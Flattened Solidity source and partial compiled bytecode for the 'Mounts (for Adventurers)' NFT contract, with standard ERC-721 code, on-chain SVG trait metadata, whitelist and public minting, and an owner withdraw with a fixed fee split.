(bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _symbol; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } interface IERC721Enumerable is IERC721 { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); } abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { mapping(address => mapping(uint256 => uint256)) private _ownedTokens; mapping(uint256 => uint256) private _ownedTokensIndex; uint256[] private _allTokens; mapping(uint256 => uint256) private _allTokensIndex; function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract Mounts is ERC721Enumerable, ReentrancyGuard, Ownable { // using SafeMath for uint256; using Strings for uint256; uint256 private TOTALSUPPLY = 8000; uint256 private reserved = 100; uint256 public price = 0.05 ether; uint256 public maxPerTxn = 20; uint256 public maxPerAdd = 100; uint256 public status = 0; // 0 - pause , 1 - whitelist , 2- public mapping(uint256 => uint256) public tokenTime; mapping(address => bool) public whitelist; string[] private Type = [ "Donkey", "Donkey", "Donkey", "Donkey", "Donkey", "Mule", "Mule", "Mule", "Mule", "Mule", "Pony", "Pony", "Pony", "Pony", "Pony", "Camel", "Camel", "Camel", "Camel", "Camel", "Horse", "Horse", "Horse", "Horse", "Horse", "CaveBear", "CaveBear", "CaveBear", "CaveBear", "Direwolf", "Direwolf", "Direwolf", "Direwolf", "Chimera", "Chimera", "Chimera", "Pegasus", "Pegasus", "Pegasus", "Phoenix", "Phoenix", "Phoenix", "Gryphon", "Gryphon", "Gryphon", "Wyvern", "Wyvern", "Wyvern", "Dragon", "Dragon", "Flying Rug" ]; string[] private Prefix = [ "Warforged", "Ironbound", "Winterborn", "Stonehide", "Darkforge", "Royal", "Lightsworn", "Vicious", "Cataclysmic", "Merciless", "Bloodthirsty", "Corrupted", "Smoldering", "Wrathful", "Gilded", "Ghastly", "Regal", "Enchanted", "Primal", "Malevolent", "Prestigious", "Dire", "Tempest", "Magnificent", "Majestic", "Miraculous", "Righteous", "Exquisite", "Mythical", "Spellbinding", "Loyal", "Battleforged", "Elusive", "Shadowfall", "Dawnbringer", "Dusklight", "Stormrage", "Ironforge", "Fearless", "Bold", "Courageous", "Heroic" ]; string[] private Suffix = [ "of the Wind", "of Flamethrowing", "of Fire", "of the Night", "of Sorcery", "of Stealth", "of Protection", "of Enlightenment", "of the Fox", "of Brilliance", "of Storms", "of Rage", "of Perfection", "of Awe", "of Wonder", "of Courage", "of Majesty", "of Endurance", "of Resilience", "of Fortitude", "of Vitality", "of the Nether", "of Anger", "of Reflection", "of the Twins", "of Power", "of Detection", "of Skill", "of Vitriol", "of Giants", "of Fury", "of Titans", "of Brilliance" ]; string[] private Color = [ "Tan", "Tan", "Tan", "Tan", "Brown", "Brown", "Brown", "Brown", "Grey", "Grey", "Grey", "Grey", "Ivory", "Ivory", "Ivory", "Obsidian", "Obsidian", "Obsidian", "Green", "Green", "Green", "Crimson", "Crimson", "Crimson", "Golden", "Golden", "Silver", "Silver", "Iridescent" ]; string[] private Gender = [ "Male", "Female" ]; function random(string memory input, uint256 tokenId, uint256 start, uint256 end) public view returns (uint256) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return (uint256(keccak256(abi.encodePacked(input, tokenId.toString(), tokenTime[tokenId]))) + start)%end; } function getType(uint256 tokenId) public view returns (string memory) { return Type[random("Type", tokenId, 0, 51)]; } function getPrefix(uint256 tokenId) public view returns (string memory) { return Prefix[random("Prefix", tokenId, 0, 42)]; } function getSuffix(uint256 tokenId) public view returns (string memory) { return Suffix[random("Suffix", tokenId, 0, 33)]; } function getGender(uint256 tokenId) public view returns (string memory) { return Gender[random("Gender", tokenId, 0, 2)]; } function getColor(uint256 tokenId) public view returns (string memory) { return Color[random("Color", tokenId, 0, 29)]; } function getSpeed(uint256 tokenId) public view returns(uint256){ return random("Speed", tokenId, 0, 100)+1; } function getStrength(uint256 tokenId) public view returns(uint256){ return random("Strength", tokenId, 0, 100)+1; } function getStamina(uint256 tokenId) public view returns(uint256){ return random("Stamina", tokenId, 0, 100)+1; } function getEndurance(uint256 tokenId) public view returns(uint256){ return random("Endurance", tokenId, 0, 100)+1; } function getName(uint256 tokenId) public view returns (string memory) { uint256 r = random("Name", tokenId, 0, 100); if( r < 50 ) return getType(tokenId); else if( r < 80 ) return string( abi.encodePacked( getPrefix(tokenId), " ", getType(tokenId) ) ); else if( r < 95 )return string( abi.encodePacked( getType(tokenId), " ", getSuffix(tokenId) ) ); else if( r <= 100 ) return string( abi.encodePacked( getPrefix(tokenId), " ", getType(tokenId), " ", getSuffix(tokenId) ) ); return ""; } function getColorId(uint256 r) public pure returns(string memory){ if( r < 50 ) return "#fff"; else if( r < 80 ) return "#00a2e8"; else if( r < 95 ) return "#a3498d"; else if( r <= 100 ) return "#ffc90a"; return ""; } function tokenURI(uint256 tokenId) override public view returns (string memory){ string[25] memory parts; parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 430 350"><style>.base { fill: white; font-family: arial; font-weight: 100; font-size: 24px; } .name {fill:'; parts[1] = getColorId(random("Name", tokenId, 0, 100)); parts[2] = '}.speed{fill :'; parts[3] = getColorId(getSpeed(tokenId)); parts[4] = '}.stamina{fill :'; parts[5] = getColorId(getStamina(tokenId)); parts[6] = '}.strength{fill :'; parts[7] = getColorId(getStrength(tokenId)); parts[8] = '}.endurance{fill :'; parts[9] = getColorId(getEndurance(tokenId)); parts[10] ='</style><rect width="100%" height="100%" fill="black" /><text x="10" y="50" class="base name">'; parts[11] = getName(tokenId); parts[12] = '</text><text x="10" y="80" class="base">'; parts[13] = getColor(tokenId); parts[14] = '</text><text x="10" y="110" class="base">'; parts[15] = getGender(tokenId); parts[16] = '</text><text x="10" y="140" class="base speed">Speed '; parts[17] = getSpeed(tokenId).toString(); parts[18] = '</text><text x="10" y="170" class="base stamina">Stamina '; parts[19] = getStamina(tokenId).toString(); parts[20] = '</text><text x="10" y="200" class="base strength">Strength '; parts[21] = getStrength(tokenId).toString(); parts[22] = '</text><text x="10" y="230" class="base endurance">Endurance '; parts[23] = getEndurance(tokenId).toString(); parts[24] = '</text></svg>'; string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])); output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16])); output = string(abi.encodePacked(output, parts[17], parts[18], parts[19], parts[20], parts[21], parts[22], parts[23], parts[24])); string memory traits = string(abi.encodePacked('{"trait_type": "Generation","value": "0"},{"trait_type": "Color","value": "',parts[13],'"},{"trait_type": "Gender","value": "',parts[15],'"},{"trait_type": "Speed","value": "',parts[17],'"},{"trait_type": "Stamina","value": "',parts[19],'"},{"trait_type": "Strength","value": "',parts[21],'"},{"trait_type": "Endurance","value": "',parts[23],'"}')); string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "', parts[11], '","description": "8000 randomized on chain Mounts (for Adventurers). Mounts are intended to be used by adventurers to get around the world in which they are exploring. Each mount has a basic set of stats and properties that can be used and interpreted as desired.","image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '", "traits": [', traits,'] }')))); output = string(abi.encodePacked('data:application/json;base64,', json)); return output; } function mint(uint256 q) public nonReentrant payable { require(status == 2, "Public Sale not active"); require(totalSupply() + q <= (TOTALSUPPLY - reserved), "Token ID invalid"); require(price*q == msg.value, "Incorrect Ether value"); require(q <= maxPerTxn, "Cannot mint this many at once"); for(uint i=0; i<q; i++){ _safeMint(_msgSender(), totalSupply()+1); tokenTime[totalSupply()] = block.timestamp; } } function presaleMint(uint256 q) public nonReentrant payable { require(status == 1, "Whitelist not active"); require(totalSupply()+q <= (TOTALSUPPLY - reserved), "Token ID invalid"); require(whitelist[msg.sender] , "Not whitelisted"); require(price*q == msg.value, "Incorrect Ether value"); require(q <= maxPerTxn, "Cannot mint this many at once"); require(maxPerAdd >= balanceOf(msg.sender)+q, "Cannot mint this many"); for(uint i=0; i<q; i++){ _safeMint(_msgSender(), totalSupply()+1); tokenTime[totalSupply()] = block.timestamp; } } function contractURI() public pure returns (string memory) { string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Mounts (for Adventurers)", "description": "8000 generative on-chain Mounts for Adventurers in the Lootverse", "seller_fee_basis_points": 500, "fee_recipient": "0x6aF606db62Ab74824d93D439982e5AaF1764bb33"}')))); json = string(abi.encodePacked('data:application/json;base64,', json)); return json; } constructor() ERC721("Mounts (for Adventurers)", "MOUNT") Ownable() { whitelist[0xaE862a93a593B8F27b93c7bd526AE3E29A0A3215] = true; whitelist[0x483F6818dEBa23E859F6D5f8AE3e01a02E9d5034] = true; whitelist[0x79637a6C4A5fC2A3bf3f34c7E7C03b6978BD668E] = true; whitelist[0x4b355e7C632cd3Eb3bAdC3115C29C78E5Aeff51e] = true; whitelist[0x5989Cc6bbAc8f8E3afc4143bFE57ba68Ef20F84F] = true; whitelist[0xED8146335F6dD2faF638E2d347E47f68B7E50871] = true; whitelist[0xAAE69439855DDEbD5b7e7D69Ad0bB0752EA63B77] = true; whitelist[0xD314749C5E91e5Ee11d0E5f5cb88ddbBD755F0DD] = true; whitelist[0xA4Be1cB01866934DdB5e06d0Cb9ad5999FC94Ff1] = true; whitelist[0xB68b71ada1f134e141ACC9E0f9615ecEf8BbC415] = true; whitelist[0x7454b7F5EE24758d7E16ba759A48cd7d60FD5049] = true; whitelist[0x39260c77A8f8a88a982CD7230FA292c9A421719c] = true; whitelist[0x4b087Ca2A7dbd887F3B339D4AE204Ce6A3425051] = true; whitelist[0x00321a3BC067860E482E74DC2cfbC78C2bFb2a82] = true; whitelist[0xAD7c0D17B856FD6A3eA7863ac73421972C8A06b3] = true; whitelist[0x7Ab76540faa3f7B508A9E3E82FeA2078FeB0e917] = true; whitelist[0x117F4Cd7c1767a109D09D47B1fA8bEd62830eF3b] = true; whitelist[0xDCb0155C351Ad107F696F35248989B39925842a6] = true; whitelist[0xE531B0B74e03FB7caaC2dF3d55dB2AE7AB997Fb5] = true; whitelist[0x9d65A3912caABA6d51206E6E9c2c65340E7AB903] = true; whitelist[0xC95FFa22DE9f75483b8055cc8B1225ef27f18329] = true; whitelist[0xc295807E2C5548c85944b395918e3F8AAe8E516F] = true; whitelist[0x9dC06b69F5F967242Ca270f54c32884CE76017B7] = true; whitelist[0x651A3af7E84c79ffC20D9Fa1C345d0fdD0cead97] = true; whitelist[0x74f90DbB59E9b8c4dfA0601CD303cb11E9fA4a78] = true; whitelist[0xAae8C50d76c76fb8947C9A203103d28b55862977] = true; whitelist[0x3916f2B06Be93a3D21782B95596483FCa8a42dfD] = true; whitelist[0x9BC353B144355136d06568844FFb977e261FD3BC] = true; whitelist[0x0068e91105B0D2c52de69c6eFB6329B66B1cDac5] = true; whitelist[0x6CdD7327A426aEB2E1259D2432efa5c1dEC2DC4c] = true; whitelist[0x0008d343091EF8BD3EFA730F6aAE5A26a285C7a2] = true; whitelist[0x6b4c150c921dDB7f939f09CA1EAddc6563e95119] = true; whitelist[0x3C26eD9bD9289b4bAe19414a720a2479dcfb3F15] = true; whitelist[0x587811FC49D14f9B625e4C068Bb94717EA8e1436] = true; whitelist[0x8eaF3c4a8105e3865c203D07764Fa9bAdB0C5c08] = true; whitelist[0x901F4BA839381b8080917C616796f4fE3e1b84D3] = true; whitelist[0x9e6E058c06C7CEEb6090e8438fC722F7D34188A3] = true; whitelist[0xf6C2a88314e3E62fceA48eBf3B48516a9C67f974] = true; whitelist[0x15DdA663170548Ae93E915dA1C61f318a2931CEB] = true; whitelist[0x4Db09754376C6ab4fF33A85b06439df81a1bB432] = true; whitelist[0xa8e878C77B4ddd628408fCC7E1D34a3C47a0d10e] = true; whitelist[0x2e3902DcEd9eCE56e206c7BD58a4Bcba594E305C] = true; whitelist[0xEC77C7CeDebEf0a56EaB58330870BB49c542b6eB] = true; whitelist[0xB0760087eF4BEc5a48aA11B2757A4dC6db5c7b03] = true; whitelist[0x5b1E7840E97dae8B716317965534fADB490580A1] = true; whitelist[0xc5760E32c7Bd3235FeCdc2544dba381E2dda715a] = true; whitelist[0x1308a9227D34fD1376EBfdfa38B624ef8302b766] = true; whitelist[0x00321a3BC067860E482E74DC2cfbC78C2bFb2a82] = true; whitelist[0x57CB3f6dd936bFa2ef9a81BC3Eb2Ece08DF9A805] = true; whitelist[0xb9c320f499ea34e4958cB034E7A82375cCf1A048] = true; whitelist[0x9254F7f72BC6294AD6569d1aB78139121DB880F6] = true; whitelist[0x0721D3CC2d3A93cf88Ef7ac7fcE8ACb5F1F1eb32] = true; whitelist[0x8fa84759562491B2b92fA649971a236054f5C413] = true; whitelist[0x46353Bce84417a6DF0549e55A7106Cf2C4B38e7E] = true; } function giveaway(address a, uint q) public onlyOwner{ for(uint i=0; i<q; i++){ _safeMint(a, totalSupply()+1); } reserved -= q; } function configure(uint s, uint p, uint maxTxn, uint maxAdd) public onlyOwner{ status = s; price = p; maxPerTxn = maxTxn; maxPerAdd = maxAdd; } function isWhitelisted(address a) public view returns(bool){ return whitelist[a]; } function addWhitelistUser(address a) public onlyOwner{ whitelist[a] = true; } function withdraw() public onlyOwner { uint balance = address(this).balance; uint split = (balance / 1000)*25; payable(0x77E5C0704d9681765d9C7204D66e5110c6556DDd).transfer(split); payable(msg.sender).transfer(balance-split); } } library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 32) for { let i := 0 } lt(i, len) { } { i := add(i, 3) let input := and(mload(add(data, i)), 0xffffff) let out := mload(add(tablePtr, and(shr(18, input), 0x3F))) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF)) out := shl(8, out) out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF)) out := shl(224, out) mstore(resultPtr, out) resultPtr := add(resultPtr, 4) } switch mod(len, 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } mstore(result, encodedLen) } return string(result); } }
0x6080604052600436106102f25760003560e01c806370a082311161018f578063a22cb465116100e1578063e06d2eb51161008a578063e8a3d48511610064578063e8a3d48514610838578063e985e9c51461084d578063f2fde38b1461089657600080fd5b8063e06d2eb5146107d8578063e53fbda6146107f8578063e62256301461081857600080fd5b8063c87b56dd116100bb578063c87b56dd14610785578063c9b298f1146107a5578063cf674308146107b857600080fd5b8063a22cb46514610718578063a87a730e14610738578063b88d4fde1461076557600080fd5b80638da5cb5b116101435780639b19251a1161011d5780639b19251a146106bf578063a035b1fe146106ef578063a0712d681461070557600080fd5b80638da5cb5b1461066c5780639414b9021461068a57806395d89b41146106aa57600080fd5b806373d900251161017457806373d900251461060c57806380057b9a1461062c57806384083c891461064c57600080fd5b806370a08231146105d7578063715018a6146105f757600080fd5b80632f745c591161024857806342842e0e116101fc5780636352211e116101d65780636352211e146105775780636a3ef380146105975780636b8ff574146105b757600080fd5b806342842e0e146105175780634b93f753146105375780634f6ccce71461055757600080fd5b80633cb519941161022d5780633cb51994146104cc5780633ccfd60b146104e25780634036ab78146104f757600080fd5b80632f745c59146104735780633af32abf1461049357600080fd5b8063095ea7b3116102aa57806323b872dd1161028457806323b872dd1461041d578063258e5d901461043d5780632884d3411461045d57600080fd5b8063095ea7b3146103c857806318160ddd146103e8578063200d2ed21461040757600080fd5b8063050225ea116102db578063050225ea1461034e57806306fdde031461036e578063081812fc1461039057600080fd5b806301ffc9a7146102f7578063022fc2251461032c575b600080fd5b34801561030357600080fd5b506103176103123660046135cd565b6108b6565b60405190151581526020015b60405180910390f35b34801561033857600080fd5b5061034c610347366004613688565b610912565b005b34801561035a57600080fd5b5061034c6103693660046135a3565b610985565b34801561037a57600080fd5b50610383610a35565b6040516103239190613dfa565b34801561039c57600080fd5b506103b06103ab36600461366f565b610ac7565b6040516001600160a01b039091168152602001610323565b3480156103d457600080fd5b5061034c6103e33660046135a3565b610b6d565b3480156103f457600080fd5b506008545b604051908152602001610323565b34801561041357600080fd5b506103f960115481565b34801561042957600080fd5b5061034c6104383660046134af565b610c9f565b34801561044957600080fd5b506103f961045836600461366f565b610d26565b34801561046957600080fd5b506103f960105481565b34801561047f57600080fd5b506103f961048e3660046135a3565b610d76565b34801561049f57600080fd5b506103176104ae366004613461565b6001600160a01b031660009081526013602052604090205460ff1690565b3480156104d857600080fd5b506103f9600f5481565b3480156104ee57600080fd5b5061034c610e1e565b34801561050357600080fd5b5061038361051236600461366f565b610f0d565b34801561052357600080fd5b5061034c6105323660046134af565b610ffe565b34801561054357600080fd5b506103f961055236600461366f565b611019565b34801561056357600080fd5b506103f961057236600461366f565b61105e565b34801561058357600080fd5b506103b061059236600461366f565b611102565b3480156105a357600080fd5b506103836105b236600461366f565b61118d565b3480156105c357600080fd5b506103836105d236600461366f565b6111d4565b3480156105e357600080fd5b506103f96105f2366004613461565b6112df565b34801561060357600080fd5b5061034c611379565b34801561061857600080fd5b5061038361062736600461366f565b6113df565b34801561063857600080fd5b5061038361064736600461366f565b6114fc565b34801561065857600080fd5b5061034c610667366004613461565b611543565b34801561067857600080fd5b50600b546001600160a01b03166103b0565b34801561069657600080fd5b506103836106a536600461366f565b6115df565b3480156106b657600080fd5b50610383611626565b3480156106cb57600080fd5b506103176106da366004613461565b60136020526000908152604090205460ff1681565b3480156106fb57600080fd5b506103f9600e5481565b61034c61071336600461366f565b611635565b34801561072457600080fd5b5061034c610733366004613567565b611851565b34801561074457600080fd5b506103f961075336600461366f565b60126020526000908152604090205481565b34801561077157600080fd5b5061034c6107803660046134eb565b611934565b34801561079157600080fd5b506103836107a036600461366f565b6119c2565b61034c6107b336600461366f565b611e90565b3480156107c457600080fd5b506103f96107d3366004613607565b612163565b3480156107e457600080fd5b506103836107f336600461366f565b612253565b34801561080457600080fd5b506103f961081336600461366f565b61229a565b34801561082457600080fd5b506103f961083336600461366f565b6122df565b34801561084457600080fd5b50610383612324565b34801561085957600080fd5b5061031761086836600461347c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156108a257600080fd5b5061034c6108b1366004613461565b61246b565b60007fffffffff0000000000000000000000000000000000000000000000000000000082167f780e9d6300000000000000000000000000000000000000000000000000000000148061090c575061090c8261254d565b92915050565b600b546001600160a01b031633146109715760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b601193909355600e91909155600f55601055565b600b546001600160a01b031633146109df5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b60005b81811015610a1957610a07836109f760085490565b610a02906001613e0d565b612630565b80610a1181613f0d565b9150506109e2565b5080600d6000828254610a2c9190613e76565b90915550505050565b606060008054610a4490613eb9565b80601f0160208091040260200160405190810160405280929190818152602001828054610a7090613eb9565b8015610abd5780601f10610a9257610100808354040283529160200191610abd565b820191906000526020600020905b815481529060010190602001808311610aa057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610b515760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201527f697374656e7420746f6b656e00000000000000000000000000000000000000006064820152608401610968565b506000908152600460205260409020546001600160a01b031690565b6000610b7882611102565b9050806001600160a01b0316836001600160a01b03161415610c025760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560448201527f72000000000000000000000000000000000000000000000000000000000000006064820152608401610968565b336001600160a01b0382161480610c1e5750610c1e8133610868565b610c905760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610968565b610c9a838361264e565b505050565b610ca933826126d4565b610d1b5760405162461bcd60e51b815260206004820152603160248201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f7665640000000000000000000000000000006064820152608401610968565b610c9a8383836127d8565b6000610d6b6040518060400160405280600981526020017f456e647572616e636500000000000000000000000000000000000000000000008152508360006064612163565b61090c906001613e0d565b6000610d81836112df565b8210610df55760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201527f74206f6620626f756e64730000000000000000000000000000000000000000006064820152608401610968565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600b546001600160a01b03163314610e785760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610968565b476000610e876103e883613e25565b610e92906019613e39565b6040519091507377e5c0704d9681765d9c7204d66e5110c6556ddd9082156108fc029083906000818181858888f19350505050158015610ed6573d6000803e3d6000fd5b50336108fc610ee58385613e76565b6040518115909202916000818181858888f19350505050158015610c9a573d6000803e3d6000fd5b60606014610f546040518060400160405280600481526020017f54797065000000000000000000000000000000000000000000000000000000008152508460006033612163565b81548110610f6457610f64613fe7565b906000526020600020018054610f7990613eb9565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa590613eb9565b8015610ff25780601f10610fc757610100808354040283529160200191610ff2565b820191906000526020600020905b815481529060010190602001808311610fd557829003601f168201915b50505050509050919050565b610c9a83838360405180602001604052806000815250611934565b6000610d6b6040518060400160405280600581526020017f53706565640000000000000000000000000000000000000000000000000000008152508360006064612163565b600061106960085490565b82106110dd5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201527f7574206f6620626f756e647300000000000000000000000000000000000000006064820152608401610968565b600882815481106110f0576110f0613fe7565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b03168061090c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201527f656e7420746f6b656e00000000000000000000000000000000000000000000006064820152608401610968565b60606016610f546040518060400160405280600681526020017f5375666669780000